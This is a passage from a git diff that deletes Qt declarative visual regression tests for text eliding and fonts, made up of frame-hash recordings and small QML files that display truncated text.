"dd412c6a2e5cb8890cb43142c84a5673" - } - Frame { - msec: 1600 - hash: "dd412c6a2e5cb8890cb43142c84a5673" - } - Frame { - msec: 1616 - hash: "dd412c6a2e5cb8890cb43142c84a5673" - } - Frame { - msec: 1632 - hash: "38b1fa7bd4e2f13b05caa62903c56ab6" - } - Frame { - msec: 1648 - hash: "38b1fa7bd4e2f13b05caa62903c56ab6" - } - Frame { - msec: 1664 - hash: "38b1fa7bd4e2f13b05caa62903c56ab6" - } - Frame { - msec: 1680 - hash: "38b1fa7bd4e2f13b05caa62903c56ab6" - } - Frame { - msec: 1696 - hash: "ffb2cb01c868c1dfa6b5154c4e8a7fd8" - } - Frame { - msec: 1712 - hash: "ffb2cb01c868c1dfa6b5154c4e8a7fd8" - } - Frame { - msec: 1728 - hash: "ffb2cb01c868c1dfa6b5154c4e8a7fd8" - } - Frame { - msec: 1744 - hash: "9effd5fc19246cfe3d2f5968c5caaa4e" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1760 - hash: "9effd5fc19246cfe3d2f5968c5caaa4e" - } - Frame { - msec: 1776 - hash: "9effd5fc19246cfe3d2f5968c5caaa4e" - } - Frame { - msec: 1792 - hash: "9effd5fc19246cfe3d2f5968c5caaa4e" - } - Frame { - msec: 1808 - hash: "4fa14ae57d170b16fd90d59d5ec83561" - } - Frame { - msec: 1824 - hash: "4fa14ae57d170b16fd90d59d5ec83561" - } - Frame { - msec: 1840 - hash: "4fa14ae57d170b16fd90d59d5ec83561" - } - Frame { - msec: 1856 - hash: "4fa14ae57d170b16fd90d59d5ec83561" - } - Frame { - msec: 1872 - hash: "4fa14ae57d170b16fd90d59d5ec83561" - } - Frame { - msec: 1888 - hash: "976dd5bc154522438f92790f28639512" - } - Frame { - msec: 1904 - hash: "976dd5bc154522438f92790f28639512" - } - Frame { - msec: 1920 - image: "elide2.1.png" - } - Frame { - msec: 1936 - hash: "976dd5bc154522438f92790f28639512" - } - Frame { - msec: 1952 - hash: "976dd5bc154522438f92790f28639512" - } - Frame { - msec: 1968 - hash: "4ae1d6ddb9a78cc2f4e81b58fcca6a20" - } - Frame { - msec: 1984 - hash: "4ae1d6ddb9a78cc2f4e81b58fcca6a20" - } - Frame { - msec: 2000 - hash: "4ae1d6ddb9a78cc2f4e81b58fcca6a20" - } - Frame { - msec: 2016 - hash: "4ae1d6ddb9a78cc2f4e81b58fcca6a20" - } - Frame { - msec: 2032 - hash: "4ae1d6ddb9a78cc2f4e81b58fcca6a20" - } - Frame { - msec: 2048 - hash: "84bdf634cfd4de588f2b0984aa3e97bd" - } - Frame { - msec: 2064 - hash: "84bdf634cfd4de588f2b0984aa3e97bd" - } - Frame { - msec: 2080 - hash: "84bdf634cfd4de588f2b0984aa3e97bd" - } - Frame { - msec: 2096 - hash: "1a978ed6951afe40912efcfb54dcce65" - } - Frame { - msec: 2112 - hash: "1a978ed6951afe40912efcfb54dcce65" - } - Frame { - msec: 2128 - hash: "1a978ed6951afe40912efcfb54dcce65" - } - Frame { - msec: 2144 - hash: "a57eea59fe6475164e24688489977869" - } - Frame { - msec: 2160 - hash: "a57eea59fe6475164e24688489977869" - } - Frame { - msec: 2176 - hash: "a57eea59fe6475164e24688489977869" - } - Frame { - msec: 2192 - hash: "69ac1d93bd51f495783dbc6a0f7b27be" - } - Frame { - msec: 2208 - hash: "69ac1d93bd51f495783dbc6a0f7b27be" - } - Frame { - msec: 2224 - hash: "69ac1d93bd51f495783dbc6a0f7b27be" - } - Frame { - msec: 2240 - hash: "69ac1d93bd51f495783dbc6a0f7b27be" - } - Frame { - msec: 2256 - hash: "69ac1d93bd51f495783dbc6a0f7b27be" - } - Frame { - msec: 2272 - hash: "04c62a4d01e9309eaeea87902013c8b9" - } - Frame { - msec: 2288 - hash: "04c62a4d01e9309eaeea87902013c8b9" - } - Frame { - msec: 2304 - hash: "fac2f5730a600d6b69280d5e6962c1d2" - } - Frame { - msec: 2320 - hash: "fac2f5730a600d6b69280d5e6962c1d2" - } - Frame { - msec: 2336 - hash: "fac2f5730a600d6b69280d5e6962c1d2" - } - Frame { - msec: 2352 - hash: "fac2f5730a600d6b69280d5e6962c1d2" - } - Frame { - msec: 2368 - hash: "fac2f5730a600d6b69280d5e6962c1d2" - } - Frame { - msec: 2384 - hash: "13f7ce73c0a2f1c7958294e4fbf3d30d" - } - Frame { - msec: 2400 - hash: "13f7ce73c0a2f1c7958294e4fbf3d30d" - } - Frame { - msec: 2416 - hash: "13f7ce73c0a2f1c7958294e4fbf3d30d" - } - Frame { - msec: 2432 - hash: "13f7ce73c0a2f1c7958294e4fbf3d30d" - } - Frame { - msec: 2448 - hash: "13f7ce73c0a2f1c7958294e4fbf3d30d" - } - Frame { - msec: 2464 - hash: "96a5678ee5bcbf28df6a2bf66b2b6189" - } - Frame { - msec: 2480 - hash: "96a5678ee5bcbf28df6a2bf66b2b6189" - } - Frame { - msec: 2496 - hash: "96a5678ee5bcbf28df6a2bf66b2b6189" - } - Frame { - msec: 2512 - hash: "96a5678ee5bcbf28df6a2bf66b2b6189" - } - Frame { - msec: 2528 - hash: "96a5678ee5bcbf28df6a2bf66b2b6189" - } - Frame { - msec: 2544 - hash: "abb220abcd579abd988b6f9f7e0bc2b7" - } - Frame { - msec: 2560 - hash: "abb220abcd579abd988b6f9f7e0bc2b7" - } - Frame { - msec: 2576 - hash: "abb220abcd579abd988b6f9f7e0bc2b7" - } - Frame { - msec: 2592 - hash: "abb220abcd579abd988b6f9f7e0bc2b7" - } - Frame { - msec: 2608 - hash: "8a8585eb9a5cd1d6c38dc7076923e7f7" - } - Frame { - msec: 2624 - hash: "8a8585eb9a5cd1d6c38dc7076923e7f7" - } - Frame { - msec: 2640 - hash: "8a8585eb9a5cd1d6c38dc7076923e7f7" - } - Frame { - msec: 2656 - hash: "c13ec1d294921e6a56f6ac4198e084eb" - } - Frame { - msec: 2672 - hash: "c13ec1d294921e6a56f6ac4198e084eb" - } - Frame { - msec: 2688 - hash: "c13ec1d294921e6a56f6ac4198e084eb" - } - Frame { - msec: 2704 - hash: "c13ec1d294921e6a56f6ac4198e084eb" - } - Frame { - msec: 2720 - hash: "53295720dbabe6fbfff56bea0e0ba7f1" - } - Frame { - msec: 2736 - hash: "53295720dbabe6fbfff56bea0e0ba7f1" - } - Frame { - msec: 2752 - hash: "53295720dbabe6fbfff56bea0e0ba7f1" - } - Frame { - msec: 2768 - hash: "53295720dbabe6fbfff56bea0e0ba7f1" - } - Frame { - msec: 2784 - hash: "53295720dbabe6fbfff56bea0e0ba7f1" - } - Frame { - msec: 2800 - hash: "53295720dbabe6fbfff56bea0e0ba7f1" - } - Frame { - msec: 2816 - hash: "53295720dbabe6fbfff56bea0e0ba7f1" - } - Frame { - msec: 2832 - hash: "f44b88b80219497370b5d2ad380d03bf" - } - Frame { - msec: 2848 - hash: "f44b88b80219497370b5d2ad380d03bf" - } - Frame { - msec: 2864 - hash: "a093510751799f3466156f9775988044" - } - Frame { - msec: 2880 - image: "elide2.2.png" - } - Frame { - msec: 2896 - hash: "a093510751799f3466156f9775988044" - } - Frame { - msec: 2912 - hash: "6327bcbb2d78d3c33eb964643b0d09a5" - } - Frame { - msec: 2928 - hash: "6327bcbb2d78d3c33eb964643b0d09a5" - } - Frame { - msec: 2944 - hash: "6327bcbb2d78d3c33eb964643b0d09a5" - } - Frame { - msec: 2960 - hash: "6327bcbb2d78d3c33eb964643b0d09a5" - } - Frame { - msec: 2976 - hash: "6327bcbb2d78d3c33eb964643b0d09a5" - } - Frame { - msec: 2992 - hash: "d7da3826914ad1d2696803b659992e73" - } - Frame { - msec: 3008 - hash: "d7da3826914ad1d2696803b659992e73" - } - Frame { - msec: 3024 - hash: "d7da3826914ad1d2696803b659992e73" - } - Frame { - msec: 3040 - hash: "d7da3826914ad1d2696803b659992e73" - } - Frame { - msec: 3056 - hash: "d7da3826914ad1d2696803b659992e73" - } - Frame { - msec: 3072 - hash: "ad40dc153a57c35ea62d9d044f08c9ac" - } - Frame { - msec: 3088 - hash: "ad40dc153a57c35ea62d9d044f08c9ac" - } - Frame { - msec: 3104 - hash: "ad40dc153a57c35ea62d9d044f08c9ac" - } - Frame { - msec: 3120 - hash: "df90afe882b18f3fd7b12e52ff36e66f" - } - Frame { - msec: 3136 - hash: "df90afe882b18f3fd7b12e52ff36e66f" - } - Frame { - msec: 3152 - hash: "5b84785ffe15c15c3b94c845db7a4a44" - } - Frame { - msec: 3168 - hash: "5b84785ffe15c15c3b94c845db7a4a44" - } - Frame { - msec: 3184 - hash: "5b84785ffe15c15c3b94c845db7a4a44" - } - Frame { - msec: 3200 - hash: "f5ca71af8d9fa1809ab88b60f9170bb5" - } - Frame { - msec: 3216 - hash: "f5ca71af8d9fa1809ab88b60f9170bb5" - } - Frame { - msec: 3232 - hash: "f5ca71af8d9fa1809ab88b60f9170bb5" - } - Frame { - msec: 3248 - hash: "f5ca71af8d9fa1809ab88b60f9170bb5" - } - Frame { - msec: 3264 - hash: "f5ca71af8d9fa1809ab88b60f9170bb5" - } - Frame { - msec: 3280 - hash: "39f1b201715413f13a60f449eef29706" - } - Frame { - msec: 3296 - hash: "39f1b201715413f13a60f449eef29706" - } - Frame { - msec: 3312 - hash: "39f1b201715413f13a60f449eef29706" - } - Frame { - msec: 3328 - hash: "39f1b201715413f13a60f449eef29706" - } - Frame { - msec: 3344 - hash: "39f1b201715413f13a60f449eef29706" - } - Frame { - msec: 3360 - hash: "4baf5c1227de45f9e620fe6eb0590014" - } - Frame { - msec: 3376 - hash: "4baf5c1227de45f9e620fe6eb0590014" - } - Frame { - msec: 3392 - hash: "4baf5c1227de45f9e620fe6eb0590014" - } - Frame { - msec: 3408 - hash: "e1ce9c06e59fb6348fff3ce650c7943e" - } - Frame { - msec: 3424 - hash: "e1ce9c06e59fb6348fff3ce650c7943e" - } - Frame { - msec: 3440 - hash: "ad812bdef31b4f1f42c35f7d56b3af83" - } - Frame { - msec: 3456 - hash: "ad812bdef31b4f1f42c35f7d56b3af83" - } - Frame { - msec: 3472 - hash: "ad812bdef31b4f1f42c35f7d56b3af83" - } - Frame { - msec: 3488 - hash: "ad812bdef31b4f1f42c35f7d56b3af83" - } - Frame { - msec: 3504 - hash: "ad812bdef31b4f1f42c35f7d56b3af83" - } - Frame { - msec: 3520 - hash: "ad812bdef31b4f1f42c35f7d56b3af83" - } - Frame { - msec: 3536 - hash: "c08c8bcfc8c23f5e0e89d7f632fde2ca" - } - Frame { - msec: 3552 - hash: "c08c8bcfc8c23f5e0e89d7f632fde2ca" - } - Frame { - msec: 3568 - hash: "c08c8bcfc8c23f5e0e89d7f632fde2ca" - } - Frame { - msec: 3584 - hash: "c08c8bcfc8c23f5e0e89d7f632fde2ca" - } - Frame { - msec: 3600 - hash: "c08c8bcfc8c23f5e0e89d7f632fde2ca" - } - Frame { - msec: 3616 - hash: "b8853dc109d063d982952780aa80419a" - } - Frame { - msec: 3632 - hash: "b8853dc109d063d982952780aa80419a" - } - Frame { - msec: 3648 - hash: "b8853dc109d063d982952780aa80419a" - } - Frame { - msec: 3664 - hash: "b8853dc109d063d982952780aa80419a" - } - Frame { - msec: 3680 - hash: "b8853dc109d063d982952780aa80419a" - } - Frame { - msec: 3696 - hash: "6bfd7cfd6369df1eb570fda103d9e009" - } - Frame { - msec: 3712 - hash: "6bfd7cfd6369df1eb570fda103d9e009" - } - Frame { - msec: 3728 - hash: "b6dba4a456cd8d1b62501039cb796625" - } - Frame { - msec: 3744 - hash: "b6dba4a456cd8d1b62501039cb796625" - } - Frame { - msec: 3760 - hash: "f43892fffe4a8ce005b60ec43ce0aa4a" - } - Frame { - msec: 3776 - hash: "f43892fffe4a8ce005b60ec43ce0aa4a" - } - Frame { - msec: 3792 - hash: "f43892fffe4a8ce005b60ec43ce0aa4a" - } - Frame { - msec: 3808 - hash: "f43892fffe4a8ce005b60ec43ce0aa4a" - } - Frame { - msec: 3824 - hash: "f43892fffe4a8ce005b60ec43ce0aa4a" - } - Frame { - msec: 3840 - image: "elide2.3.png" - } - Frame { - msec: 3856 - hash: "d2e873e69aed3e0b6e53123cd63e386c" - } - Frame { - msec: 3872 - hash: "d2e873e69aed3e0b6e53123cd63e386c" - } - Frame { - msec: 3888 - hash: "baa8edfce77628c7a1ec83adce96e2c6" - } - Frame { - msec: 3904 - hash: "baa8edfce77628c7a1ec83adce96e2c6" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/elide.qml b/tests/auto/declarative/visual/qdeclarativetext/elide/elide.qml deleted file mode 100644 index fa6b5da..0000000 --- a/tests/auto/declarative/visual/qdeclarativetext/elide/elide.qml +++ /dev/null @@ -1,31 +0,0 @@ -import Qt 4.6 - -Rectangle { - width: childrenRect.width - height: childrenRect.height - Column { - width: 80 - height: myText.height*4 - Text { - elide: "ElideLeft" - text: "aaa bbb ccc ddd eee fff" - width: 80 - id: myText - } - Text { - elide: "ElideMiddle" - text: "aaa bbb ccc ddd eee fff" - width: 80 - } - Text { - elide: "ElideRight" - text: "aaa bbb ccc ddd eee fff" - width: 80 - } - Text { - elide: "ElideNone" - text: "aaa bbb ccc ddd eee fff" - width: 80 - } - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/elide2.qml b/tests/auto/declarative/visual/qdeclarativetext/elide/elide2.qml deleted file mode 100644 index ecd9470..0000000 --- a/tests/auto/declarative/visual/qdeclarativetext/elide/elide2.qml +++ /dev/null @@ -1,12 +0,0 @@ -import Qt 4.6 - -Rectangle { - width: 500 - height: 100 - - Text { - width: NumberAnimation { from: 500; to: 0; loops: Animation.Infinite; duration: 5000 } - elide: Text.ElideRight - text: 'Here is some very long text that we should truncate when sizing window' - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/multilength.qml b/tests/auto/declarative/visual/qdeclarativetext/elide/multilength.qml deleted file mode 100644 index ab6e1533..0000000 --- a/tests/auto/declarative/visual/qdeclarativetext/elide/multilength.qml +++ /dev/null @@ -1,19 +0,0 @@ -import Qt 4.6 - -Rectangle { - width: 500 - height: 50 - color: "lightBlue" - Rectangle { - width: myText.width - height: myText.height - color: "white" - anchors.centerIn: parent - Text { - id: myText - width: NumberAnimation { from: 500; to: 0; loops: Animation.Infinite; duration: 1000 } - elide: "ElideRight" - text: "Brevity is the soul of wit, and tediousness the limbs and outward flourishes.\x9CBrevity is a great charm of eloquence.\x9CBe concise!\x9CSHHHHHHHHHHHHHHHHHHHHHHHHHHHH" - } - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetext/font/data-MAC/plaintext.0.png b/tests/auto/declarative/visual/qdeclarativetext/font/data-MAC/plaintext.0.png deleted file mode 100644 index 67b497f..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetext/font/data-MAC/plaintext.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetext/font/data-MAC/plaintext.qml b/tests/auto/declarative/visual/qdeclarativetext/font/data-MAC/plaintext.qml deleted file mode 100644 index ab17eb1..0000000 --- a/tests/auto/declarative/visual/qdeclarativetext/font/data-MAC/plaintext.qml +++ /dev/null @@ -1,351 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 32 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 48 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 64 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 80 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 96 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 112 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 128 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 144 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 160 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 176 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 192 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 208 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 224 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 240 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 256 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 272 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 288 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 304 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 320 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 336 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 352 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 368 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 384 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 400 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 416 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 432 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 448 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 464 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 480 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 496 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 512 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 528 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 544 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 560 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 576 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 592 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 608 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 624 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 640 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 656 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 672 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 688 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 704 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 720 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 736 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 752 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 768 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 784 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 800 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 816 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 832 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 848 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 864 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 880 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 896 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 912 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 928 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 944 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 960 - image: "plaintext.0.png" - } - Frame { - msec: 976 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 992 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 1008 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 1024 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 1040 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 1056 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 1072 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 1088 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 1104 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 1120 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 1136 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 1152 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 1168 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 1184 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Key { - type: 6 - key: 16777249 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1200 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 1216 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 1232 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 1248 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 1264 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 1280 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 1296 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 1312 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 1328 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } - Frame { - msec: 1344 - hash: "cbf65bcb64a4781b79132b87f98d5fc7" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetext/font/data-MAC/richtext.0.png b/tests/auto/declarative/visual/qdeclarativetext/font/data-MAC/richtext.0.png deleted file mode 100644 index 6379942..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetext/font/data-MAC/richtext.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetext/font/data-MAC/richtext.qml b/tests/auto/declarative/visual/qdeclarativetext/font/data-MAC/richtext.qml deleted file mode 100644 index 72499b9..0000000 --- a/tests/auto/declarative/visual/qdeclarativetext/font/data-MAC/richtext.qml +++ /dev/null @@ -1,359 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 32 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 48 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 64 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 80 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 96 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 112 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 128 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 144 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 160 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 176 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 192 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 208 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 224 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 240 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 256 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 272 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 288 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 304 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 320 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 336 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 352 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 368 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 384 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 400 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 416 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 432 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 448 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 464 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 480 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 496 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 512 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 528 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 544 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 560 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 576 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 592 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 608 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 624 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 640 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 656 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 672 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 688 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 704 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 720 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 736 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 752 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 768 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 784 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 800 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 816 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 832 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 848 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 864 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 880 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 896 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 912 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 928 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 944 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 960 - image: "richtext.0.png" - } - Frame { - msec: 976 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 992 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 1008 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 1024 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 1040 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 1056 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 1072 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 1088 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 1104 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 1120 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 1136 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 1152 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Key { - type: 6 - key: 16777249 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1168 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 1184 - hash: 